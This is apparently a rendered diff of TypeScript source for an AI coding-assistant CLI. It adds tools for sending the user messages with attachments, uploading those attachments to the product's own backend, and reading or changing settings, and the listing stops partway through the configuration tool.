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
src/tools/BriefTool/attachments.ts ADDED
@@ -0,0 +1,110 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * Shared attachment validation + resolution for SendUserMessage and
3
+ * SendUserFile. Lives in BriefTool/ so the dynamic `./upload.js` import
4
+ * inside the feature('BRIDGE_MODE') guard stays relative and upload.ts
5
+ * (axios, crypto, auth utils) remains tree-shakeable from non-bridge builds.
6
+ */
7
+
8
+ import { feature } from 'bun:bundle'
9
+ import { stat } from 'fs/promises'
10
+
11
+ import type { ValidationResult } from '../../Tool.js'
12
+
13
+ import { getCwd } from '../../utils/cwd.js'
14
+ import { isEnvTruthy } from '../../utils/envUtils.js'
15
+ import { getErrnoCode } from '../../utils/errors.js'
16
+ import { IMAGE_EXTENSION_REGEX } from '../../utils/imagePaste.js'
17
+ import { expandPath } from '../../utils/path.js'
18
+
19
+ export type ResolvedAttachment = {
20
+ path: string
21
+ size: number
22
+ isImage: boolean
23
+ file_uuid?: string
24
+ }
25
+
26
+ export async function validateAttachmentPaths(
27
+ rawPaths: string[],
28
+ ): Promise<ValidationResult> {
29
+ const cwd = getCwd()
30
+ for (const rawPath of rawPaths) {
31
+ const fullPath = expandPath(rawPath)
32
+ try {
33
+ const stats = await stat(fullPath)
34
+ if (!stats.isFile()) {
35
+ return {
36
+ result: false,
37
+ message: `Attachment "${rawPath}" is not a regular file.`,
38
+ errorCode: 1,
39
+ }
40
+ }
41
+ } catch (e) {
42
+ const code = getErrnoCode(e)
43
+ if (code === 'ENOENT') {
44
+ return {
45
+ result: false,
46
+ message: `Attachment "${rawPath}" does not exist. Current working directory: ${cwd}.`,
47
+ errorCode: 1,
48
+ }
49
+ }
50
+ if (code === 'EACCES' || code === 'EPERM') {
51
+ return {
52
+ result: false,
53
+ message: `Attachment "${rawPath}" is not accessible (permission denied).`,
54
+ errorCode: 1,
55
+ }
56
+ }
57
+ throw e
58
+ }
59
+ }
60
+ return { result: true }
61
+ }
62
+
63
+ export async function resolveAttachments(
64
+ rawPaths: string[],
65
+ uploadCtx: { replBridgeEnabled: boolean; signal?: AbortSignal },
66
+ ): Promise<ResolvedAttachment[]> {
67
+ // Stat serially (local, fast) to keep ordering deterministic, then upload
68
+ // in parallel (network, slow). Upload failures resolve undefined — the
69
+ // attachment still carries {path, size, isImage} for local renderers.
70
+ const stated: ResolvedAttachment[] = []
71
+ for (const rawPath of rawPaths) {
72
+ const fullPath = expandPath(rawPath)
73
+ // Single stat — we need size, so this is the operation, not a guard.
74
+ // validateInput ran before us, but the file could have moved since
75
+ // (TOCTOU); if it did, let the error propagate so the model sees it.
76
+ const stats = await stat(fullPath)
77
+ stated.push({
78
+ path: fullPath,
79
+ size: stats.size,
80
+ isImage: IMAGE_EXTENSION_REGEX.test(fullPath),
81
+ })
82
+ }
83
+ // Dynamic import inside the feature() guard so upload.ts (axios, crypto,
84
+ // zod, auth utils, MIME map) is fully eliminated from non-BRIDGE_MODE
85
+ // builds. A static import would force module-scope evaluation regardless
86
+ // of the guard inside uploadBriefAttachment — CLAUDE.md: "helpers defined
87
+ // outside remain in the build even if never called".
88
+ if (feature('BRIDGE_MODE')) {
89
+ // Headless/SDK callers never set appState.replBridgeEnabled (only the TTY
90
+ // REPL does, at main.tsx init). CLAUDE_CODE_BRIEF_UPLOAD lets a host that
91
+ // runs the CLI as a subprocess opt in — e.g. the cowork desktop bridge,
92
+ // which already passes CLAUDE_CODE_OAUTH_TOKEN for auth.
93
+ const shouldUpload =
94
+ uploadCtx.replBridgeEnabled ||
95
+ isEnvTruthy(process.env.CLAUDE_CODE_BRIEF_UPLOAD)
96
+ const { uploadBriefAttachment } = await import('./upload.js')
97
+ const uuids = await Promise.all(
98
+ stated.map(a =>
99
+ uploadBriefAttachment(a.path, a.size, {
100
+ replBridgeEnabled: shouldUpload,
101
+ signal: uploadCtx.signal,
102
+ }),
103
+ ),
104
+ )
105
+ return stated.map((a, i) =>
106
+ uuids[i] === undefined ? a : { ...a, file_uuid: uuids[i] },
107
+ )
108
+ }
109
+ return stated
110
+ }
src/tools/BriefTool/prompt.ts ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ export const BRIEF_TOOL_NAME = 'SendUserMessage'
2
+ export const LEGACY_BRIEF_TOOL_NAME = 'Brief'
3
+
4
+ export const DESCRIPTION = 'Send a message to the user'
5
+
6
+ export const BRIEF_TOOL_PROMPT = `Send a message the user will read. Text outside this tool is visible in the detail view, but most won't open it — the answer lives here.
7
+
8
+ \`message\` supports markdown. \`attachments\` takes file paths (absolute or cwd-relative) for images, diffs, logs.
9
+
10
+ \`status\` labels intent: 'normal' when replying to what they just asked; 'proactive' when you're initiating — a scheduled task finished, a blocker surfaced during background work, you need input on something they haven't asked about. Set it honestly; downstream routing uses it.`
11
+
12
+ export const BRIEF_PROACTIVE_SECTION = `## Talking to the user
13
+
14
+ ${BRIEF_TOOL_NAME} is where your replies go. Text outside it is visible if the user expands the detail view, but most won't — assume unread. Anything you want them to actually see goes through ${BRIEF_TOOL_NAME}. The failure mode: the real answer lives in plain text while ${BRIEF_TOOL_NAME} just says "done!" — they see "done!" and miss everything.
15
+
16
+ So: every time the user says something, the reply they actually read comes through ${BRIEF_TOOL_NAME}. Even for "hi". Even for "thanks".
17
+
18
+ If you can answer right away, send the answer. If you need to go look — run a command, read files, check something — ack first in one line ("On it — checking the test output"), then work, then send the result. Without the ack they're staring at a spinner.
19
+
20
+ For longer work: ack → work → result. Between those, send a checkpoint when something useful happened — a decision you made, a surprise you hit, a phase boundary. Skip the filler ("running tests...") — a checkpoint earns its place by carrying information.
21
+
22
+ Keep messages tight — the decision, the file:line, the PR number. Second person always ("your config"), never third.`
src/tools/BriefTool/upload.ts ADDED
@@ -0,0 +1,174 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * Upload BriefTool attachments to private_api so web viewers can preview them.
3
+ *
4
+ * When the repl bridge is active, attachment paths are meaningless to a web
5
+ * viewer (they're on Claude's machine). We upload to /api/oauth/file_upload —
6
+ * the same store MessageComposer/SpaceMessage render from — and stash the
7
+ * returned file_uuid alongside the path. Web resolves file_uuid → preview;
8
+ * desktop/local try path first.
9
+ *
10
+ * Best-effort: any failure (no token, bridge off, network error, 4xx) logs
11
+ * debug and returns undefined. The attachment still carries {path, size,
12
+ * isImage}, so local-terminal and same-machine-desktop render unaffected.
13
+ */
14
+
15
+ import { feature } from 'bun:bundle'
16
+ import axios from 'axios'
17
+ import { randomUUID } from 'crypto'
18
+ import { readFile } from 'fs/promises'
19
+ import { basename, extname } from 'path'
20
+ import { z } from 'zod/v4'
21
+
22
+ import {
23
+ getBridgeAccessToken,
24
+ getBridgeBaseUrlOverride,
25
+ } from '../../bridge/bridgeConfig.js'
26
+ import { getOauthConfig } from '../../constants/oauth.js'
27
+ import { logForDebugging } from '../../utils/debug.js'
28
+ import { lazySchema } from '../../utils/lazySchema.js'
29
+ import { jsonStringify } from '../../utils/slowOperations.js'
30
+
31
+ // Matches the private_api backend limit
32
+ const MAX_UPLOAD_BYTES = 30 * 1024 * 1024
33
+
34
+ const UPLOAD_TIMEOUT_MS = 30_000
35
+
36
+ // Backend dispatches on mime: image/* → upload_image_wrapped (writes
37
+ // PREVIEW/THUMBNAIL, no ORIGINAL), everything else → upload_generic_file
38
+ // (ORIGINAL only, no preview). Only whitelist raster formats the
39
+ // transcoder reliably handles — svg/bmp/ico risk a 400, and pdf routes
40
+ // to upload_pdf_file_wrapped which also skips ORIGINAL. Dispatch
41
+ // viewers use /preview for images and /contents for everything else,
42
+ // so images go image/* and the rest go octet-stream.
43
+ const MIME_BY_EXT: Record<string, string> = {
44
+ '.png': 'image/png',
45
+ '.jpg': 'image/jpeg',
46
+ '.jpeg': 'image/jpeg',
47
+ '.gif': 'image/gif',
48
+ '.webp': 'image/webp',
49
+ }
50
+
51
+ function guessMimeType(filename: string): string {
52
+ const ext = extname(filename).toLowerCase()
53
+ return MIME_BY_EXT[ext] ?? 'application/octet-stream'
54
+ }
55
+
56
+ function debug(msg: string): void {
57
+ logForDebugging(`[brief:upload] ${msg}`)
58
+ }
59
+
60
+ /**
61
+ * Base URL for uploads. Must match the host the token is valid for.
62
+ *
63
+ * Subprocess hosts (cowork) pass ANTHROPIC_BASE_URL alongside
64
+ * CLAUDE_CODE_OAUTH_TOKEN — prefer that since getOauthConfig() only
65
+ * returns staging when USE_STAGING_OAUTH is set, which such hosts don't
66
+ * set. Without this a staging token hits api.anthropic.com → 401 → silent
67
+ * skip → web viewer sees inert cards with no file_uuid.
68
+ */
69
+ function getBridgeBaseUrl(): string {
70
+ return (
71
+ getBridgeBaseUrlOverride() ??
72
+ process.env.ANTHROPIC_BASE_URL ??
73
+ getOauthConfig().BASE_API_URL
74
+ )
75
+ }
76
+
77
+ // /api/oauth/file_upload returns one of ChatMessage{Image,Blob,Document}FileSchema.
78
+ // All share file_uuid; that's the only field we need.
79
+ const uploadResponseSchema = lazySchema(() =>
80
+ z.object({ file_uuid: z.string() }),
81
+ )
82
+
83
+ export type BriefUploadContext = {
84
+ replBridgeEnabled: boolean
85
+ signal?: AbortSignal
86
+ }
87
+
88
+ /**
89
+ * Upload a single attachment. Returns file_uuid on success, undefined otherwise.
90
+ * Every early-return is intentional graceful degradation.
91
+ */
92
+ export async function uploadBriefAttachment(
93
+ fullPath: string,
94
+ size: number,
95
+ ctx: BriefUploadContext,
96
+ ): Promise<string | undefined> {
97
+ // Positive pattern so bun:bundle eliminates the entire body from
98
+ // non-BRIDGE_MODE builds (negative `if (!feature(...)) return` does not).
99
+ if (feature('BRIDGE_MODE')) {
100
+ if (!ctx.replBridgeEnabled) return undefined
101
+
102
+ if (size > MAX_UPLOAD_BYTES) {
103
+ debug(`skip ${fullPath}: ${size} bytes exceeds ${MAX_UPLOAD_BYTES} limit`)
104
+ return undefined
105
+ }
106
+
107
+ const token = getBridgeAccessToken()
108
+ if (!token) {
109
+ debug('skip: no oauth token')
110
+ return undefined
111
+ }
112
+
113
+ let content: Buffer
114
+ try {
115
+ content = await readFile(fullPath)
116
+ } catch (e) {
117
+ debug(`read failed for ${fullPath}: ${e}`)
118
+ return undefined
119
+ }
120
+
121
+ const baseUrl = getBridgeBaseUrl()
122
+ const url = `${baseUrl}/api/oauth/file_upload`
123
+ const filename = basename(fullPath)
124
+ const mimeType = guessMimeType(filename)
125
+ const boundary = `----FormBoundary${randomUUID()}`
126
+
127
+ // Manual multipart — same pattern as filesApi.ts. The oauth endpoint takes
128
+ // a single "file" part (no "purpose" field like the public Files API).
129
+ const body = Buffer.concat([
130
+ Buffer.from(
131
+ `--${boundary}\r\n` +
132
+ `Content-Disposition: form-data; name="file"; filename="${filename}"\r\n` +
133
+ `Content-Type: ${mimeType}\r\n\r\n`,
134
+ ),
135
+ content,
136
+ Buffer.from(`\r\n--${boundary}--\r\n`),
137
+ ])
138
+
139
+ try {
140
+ const response = await axios.post(url, body, {
141
+ headers: {
142
+ Authorization: `Bearer ${token}`,
143
+ 'Content-Type': `multipart/form-data; boundary=${boundary}`,
144
+ 'Content-Length': body.length.toString(),
145
+ },
146
+ timeout: UPLOAD_TIMEOUT_MS,
147
+ signal: ctx.signal,
148
+ validateStatus: () => true,
149
+ })
150
+
151
+ if (response.status !== 201) {
152
+ debug(
153
+ `upload failed for ${fullPath}: status=${response.status} body=${jsonStringify(response.data).slice(0, 200)}`,
154
+ )
155
+ return undefined
156
+ }
157
+
158
+ const parsed = uploadResponseSchema().safeParse(response.data)
159
+ if (!parsed.success) {
160
+ debug(
161
+ `unexpected response shape for ${fullPath}: ${parsed.error.message}`,
162
+ )
163
+ return undefined
164
+ }
165
+
166
+ debug(`uploaded ${fullPath} → ${parsed.data.file_uuid} (${size} bytes)`)
167
+ return parsed.data.file_uuid
168
+ } catch (e) {
169
+ debug(`upload threw for ${fullPath}: ${e}`)
170
+ return undefined
171
+ }
172
+ }
173
+ return undefined
174
+ }
src/tools/ConfigTool/ConfigTool.ts ADDED
@@ -0,0 +1,467 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { z } from 'zod/v4'
3
+ import {
4
+ type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
5
+ logEvent,
6
+ } from '../../services/analytics/index.js'
7
+ import { buildTool, type ToolDef } from '../../Tool.js'
8
+ import {
9
+ type GlobalConfig,
10
+ getGlobalConfig,
11
+ getRemoteControlAtStartup,
12
+ saveGlobalConfig,
13
+ } from '../../utils/config.js'
14
+ import { errorMessage } from '../../utils/errors.js'
15
+ import { lazySchema } from '../../utils/lazySchema.js'
16
+ import { logError } from '../../utils/log.js'
17
+ import {
18
+ getInitialSettings,
19
+ updateSettingsForSource,
20
+ } from '../../utils/settings/settings.js'
21
+ import { jsonStringify } from '../../utils/slowOperations.js'
22
+ import { CONFIG_TOOL_NAME } from './constants.js'
23
+ import { DESCRIPTION, generatePrompt } from './prompt.js'
24
+ import {
25
+ getConfig,
26
+ getOptionsForSetting,
27
+ getPath,
28
+ isSupported,
29
+ } from './supportedSettings.js'
30
+ import {
31
+ renderToolResultMessage,
32
+ renderToolUseMessage,
33
+ renderToolUseRejectedMessage,
34
+ } from './UI.js'
35
+
36
+ const inputSchema = lazySchema(() =>
37
+ z.strictObject({
38
+ setting: z
39
+ .string()
40
+ .describe(
41
+ 'The setting key (e.g., "theme", "model", "permissions.defaultMode")',
42
+ ),
43
+ value: z
44
+ .union([z.string(), z.boolean(), z.number()])
45
+ .optional()
46
+ .describe('The new value. Omit to get current value.'),
47
+ }),
48
+ )
49
+ type InputSchema = ReturnType<typeof inputSchema>
50
+
51
+ const outputSchema = lazySchema(() =>
52
+ z.object({
53
+ success: z.boolean(),
54
+ operation: z.enum(['get', 'set']).optional(),
55
+ setting: z.string().optional(),
56
+ value: z.unknown().optional(),
57
+ previousValue: z.unknown().optional(),
58
+ newValue: z.unknown().optional(),
59
+ error: z.string().optional(),
60
+ }),
61
+ )
62
+ type OutputSchema = ReturnType<typeof outputSchema>
63
+
64
+ export type Input = z.infer<InputSchema>
65
+ export type Output = z.infer<OutputSchema>
66
+
67
+ export const ConfigTool = buildTool({
68
+ name: CONFIG_TOOL_NAME,
69
+ searchHint: 'get or set Claude Code settings (theme, model)',
70
+ maxResultSizeChars: 100_000,
71
+ async description() {
72
+ return DESCRIPTION
73
+ },
74
+ async prompt() {
75
+ return generatePrompt()
76
+ },
77
+ get inputSchema(): InputSchema {
78
+ return inputSchema()
79
+ },
80
+ get outputSchema(): OutputSchema {
81
+ return outputSchema()
82
+ },
83
+ userFacingName() {
84
+ return 'Config'
85
+ },
86
+ shouldDefer: true,
87
+ isConcurrencySafe() {
88
+ return true
89
+ },
90
+ isReadOnly(input: Input) {
91
+ return input.value === undefined
92
+ },
93
+ toAutoClassifierInput(input) {
94
+ return input.value === undefined
95
+ ? input.setting
96
+ : `${input.setting} = ${input.value}`
97
+ },
98
+ async checkPermissions(input: Input) {
99
+ // Auto-allow reading configs
100
+ if (input.value === undefined) {
101
+ return { behavior: 'allow' as const, updatedInput: input }
102
+ }
103
+ return {
104
+ behavior: 'ask' as const,
105
+ message: `Set ${input.setting} to ${jsonStringify(input.value)}`,
106
+ }
107
+ },
108
+ renderToolUseMessage,
109
+ renderToolResultMessage,
110
+ renderToolUseRejectedMessage,
111
+ async call({ setting, value }: Input, context): Promise<{ data: Output }> {
112
+ // 1. Check if setting is supported
113
+ // Voice settings are registered at build-time (feature('VOICE_MODE')), but
114
+ // must also be gated at runtime. When the kill-switch is on, treat
115
+ // voiceEnabled as an unknown setting so no voice-specific strings leak.
116
+ if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
117
+ const { isVoiceGrowthBookEnabled } = await import(
118
+ '../../voice/voiceModeEnabled.js'
119
+ )
120
+ if (!isVoiceGrowthBookEnabled()) {
121
+ return {
122
+ data: { success: false, error: `Unknown setting: "${setting}"` },
123
+ }
124
+ }
125
+ }
126
+ if (!isSupported(setting)) {
127
+ return {
128
+ data: { success: false, error: `Unknown setting: "${setting}"` },
129
+ }
130
+ }
131
+
132
+ const config = getConfig(setting)!
133
+ const path = getPath(setting)
134
+
135
+ // 2. GET operation
136
+ if (value === undefined) {
137
+ const currentValue = getValue(config.source, path)
138
+ const displayValue = config.formatOnRead
139
+ ? config.formatOnRead(currentValue)
140
+ : currentValue
141
+ return {
142
+ data: { success: true, operation: 'get', setting, value: displayValue },
143
+ }
144
+ }
145
+
146
+ // 3. SET operation
147
+
148
+ // Handle "default" — unset the config key so it falls back to the
149
+ // platform-aware default (determined by the bridge feature gate).
150
+ if (
151
+ setting === 'remoteControlAtStartup' &&
152
+ typeof value === 'string' &&
153
+ value.toLowerCase().trim() === 'default'
154
+ ) {
155
+ saveGlobalConfig(prev => {
156
+ if (prev.remoteControlAtStartup === undefined) return prev
157
+ const next = { ...prev }
158
+ delete next.remoteControlAtStartup
159
+ return next
160
+ })
161
+ const resolved = getRemoteControlAtStartup()
162
+ // Sync to AppState so useReplBridge reacts immediately
163
+ context.setAppState(prev => {
164
+ if (prev.replBridgeEnabled === resolved && !prev.replBridgeOutboundOnly)
165
+ return prev
166
+ return {
167
+ ...prev,
168
+ replBridgeEnabled: resolved,
169
+ replBridgeOutboundOnly: false,
170
+ }
171
+ })
172
+ return {
173
+ data: {
174
+ success: true,
175
+ operation: 'set',
176
+ setting,
177
+ value: resolved,
178
+ },
179
+ }
180
+ }
181
+
182
+ let finalValue: unknown = value
183
+
184
+ // Coerce and validate boolean values
185
+ if (config.type === 'boolean') {
186
+ if (typeof value === 'string') {
187
+ const lower = value.toLowerCase().trim()
188
+ if (lower === 'true') finalValue = true
189
+ else if (lower === 'false') finalValue = false
190
+ }
191
+ if (typeof finalValue !== 'boolean') {
192
+ return {
193
+ data: {
194
+ success: false,
195
+ operation: 'set',
196
+ setting,
197
